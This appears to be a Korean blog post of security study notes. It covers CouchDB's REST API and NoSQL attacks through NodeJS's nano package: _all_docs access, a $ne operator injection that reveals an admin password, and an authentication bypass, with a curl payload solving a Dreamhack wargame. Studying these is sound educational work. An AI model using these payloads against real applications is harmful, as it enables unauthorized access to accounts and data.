- CouchDB는 키와 값이 하나의 쌍을 이루는 데이터를 저장하며, JSON 객체 형태인 도큐먼트를 저장한다.
- 이는 HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청을 받고, 처리한다.
1. couchDB 요청
$ curl http://127.0.0.1:5984/
{"couchdb":"Welcome","version":"3.1.0","git_sha":"ff0feea20","uuid":"c7592f66bba3c6ebc38f0f4dcd374d68","features":["access-ready","partitioned","pluggable-storage-engines","reshard","scheduler"],"vendor":{"name":"The Apache Software Foundation"}}
2. 데이터 삽입
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
3. 데이터 조회
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
- Server 구성 요소
/ | 인스턴스에 대한 메타 정보를 반환합니다. |
/_all_dbs | 인스턴스의 데이터베이스 목록을 반환합니다. |
/_utils | 관리자 페이지 (Fauxton Administration Interface)로 이동합니다. |
- DataBase 구성 요소
/db | 지정한 데이터베이스에 대한 정보를 반환합니다. |
/{db}/_all_docs | 지정한 데이터베이스에 포함된 모든 도큐먼트를 반환합니다. |
/{db}/_find | 지정한 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환합니다. |
- CouchDB 관련 공격
- NodeJS에서 CouchDB를 사용할 때에는 주로 아파치에서 개발한 nano 패키지를 사용한다.
- nano 패키지는 get 함수를 사용하여 _id 값을 통해 데이터를 조회하거나 find 함수를 통해 쿼리 기반으로 데이터를 가져올 수 있다.
- get 함수를 통해 데이터를 조회하는 경우 앞서 배운 특수 구성 요소인 _all_docs, _db 등에 접근해 데이터베이스의 정보를 획득할 수 있다.
- find 함수를 사용하는 경우에는 연산자와 같이 객체 타입의 값을 입력해 개발자가 의도하지 않은 행위를 수행할 수 있다.
(1) _all_docs 페이지 접근
1. 정상 접근
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('guest', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err: null ,result: { _id: 'guest',
_rev: '1-22a458e50cf189b17d50eeb295231896',
upw: 'guest' }
*/
2. _all_docs 페이지 접근
> require('nano')('http://{username}:{password}@localhost:5984').use('users').get('_all_docs', function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
err: null ,result: { total_rows: 3,
offset: 0,
rows:
[ { id: '0c1371b65480420e678d00c2770003f3',
key: '0c1371b65480420e678d00c2770003f3',
value: [Object] },
{ id: '0c1371b65480420e678d00c277001712',
key: '0c1371b65480420e678d00c277001712',
value: [Object] },
{ id: 'guest', key: 'guest', value: [Object] } ] }
*/
(2) find 함수를 통한 연산자 공격
1. 정상적인 쿼리 전송
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'guest', 'upw': 'guest'}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err: null ,result: { docs:
[ { _id: 'guest',
_rev: '1-22a458e50cf189b17d50eeb295231896',
upw: 'guest' } ],
bookmark:
'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzppemFpeAJDlgkgjhLADZAxEP',
warning:
'No matching index found, create an index to optimize query time.' }
*/
2. 연산자를 포함한 공격 쿼리 전송
> require('nano')('http://{username}:{password}@localhost:5984').use('users').find({'selector': {'_id': 'admin', 'upw': {'$ne': ''}}}, function(err, result){ console.log('err: ', err, ',result: ', result) })
/*
undefined
err: null ,result: { docs:
[ { _id: 'admin',
_rev: '2-142ddb6e06fd298e86fa54f9b3b9d7f2',
upw: 'secretpassword' } ],
bookmark:
'g1AAAAA6eJzLYWBgYMpgSmHgKy5JLCrJTq2MT8lPzkzJBYqzJqbkZuaBJDlgkgjhLADVNBDR',
warning:
'No matching index found, create an index to optimize query time.' }
*/
(3) admin uid 조회
1. 정상 요청
$ curl -i http://{username}:{password}@localhost:5984/users/admin
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Content-Length: 83
Content-Type: application/json
Date: Tue, 19 May 2020 16:47:49 GMT
ETag: "2-142ddb6e06fd298e86fa54f9b3b9d7f2"
Server: CouchDB/3.1.0 (Erlang OTP/20)
X-Couch-Request-ID: 028e8b621c
X-CouchDB-Body-Time: 0
{"_id":"admin","_rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2","upw":"secretpassword"}
2. 유효하지 않은 uid 입력
$ curl -i http://{username}:{password}@localhost:5984/users/undefined_user
HTTP/1.1 404 Object Not Found
Cache-Control: must-revalidate
Content-Length: 41
Content-Type: application/json
Date: Tue, 19 May 2020 17:07:14 GMT
Server: CouchDB/3.1.0 (Erlang OTP/20)
X-Couch-Request-ID: be30c84acd
X-CouchDB-Body-Time: 0
{"error":"not_found","reason":"missing"}
3. _all_docs를 이용한 인증 우회
=> 애플리케이션 내부에서는 _all_docs에서 출력하는 내용을 result 변수에 저장한다.
그러나 해당 페이지에서는 키 명칭이 upw인 데이터를 반환하지 않기 때문에 result.upw에는 undefined가 저장된다.
요청을 다시 확인해보면 upw를 별도로 전달하지 않았기 때문에 req.body.upw 또한 undefined가 되고, 결국 인증 조건을 만족하고 세션을 획득할 수 있게 된다.
$ curl -i http://{username}:{password}@localhost:5984/users/_all_docs
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Content-Type: application/json
Date: Tue, 19 May 2020 17:24:32 GMT
Server: CouchDB/3.1.0 (Erlang OTP/20)
Transfer-Encoding: chunked
X-Couch-Request-ID: 43c8ca548f
X-CouchDB-Body-Time: 0
{"total_rows":1,"offset":0,"rows":[
{"id":"admin","key":"admin","value":{"rev":"2-142ddb6e06fd298e86fa54f9b3b9d7f2"}}
]}
- 관련 문제
https://dreamhack.io/wargame/challenges/419/
- nano 모듈의 get 함수를 이용하여 DB 내용을 불러오고 있는데, 애플리케이션에서 입력 검사를 따로 하지 않으므로 이를 이용해 공격이 가능하다.
- uid에 _all_docs를 넣고 upw 값을 아예 넣지 않으면, 쿼리가 정상 실행된다.
1. 브라우저
uid에는 _all_docs를 넣고, upw에 undefined 값이 들어갈 수 있도록 upw 입력 창을 삭제하고 실행시킨다.
2. curl
curl -X POST (서버 주소)/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs"}'
'프로그래밍 > 해킹' 카테고리의 다른 글
ExploitTech: Command Injection for Linux (0) | 2024.07.04 |
---|---|
phpMyRedis (0) | 2024.07.03 |
Redis 중복 키 사용 관련 공격 (0) | 2024.07.03 |
MongoDB 기본 문법 & 취약점 (1) | 2024.07.03 |
Exercise: SQL Injection Bypass WAF (0) | 2024.07.02 |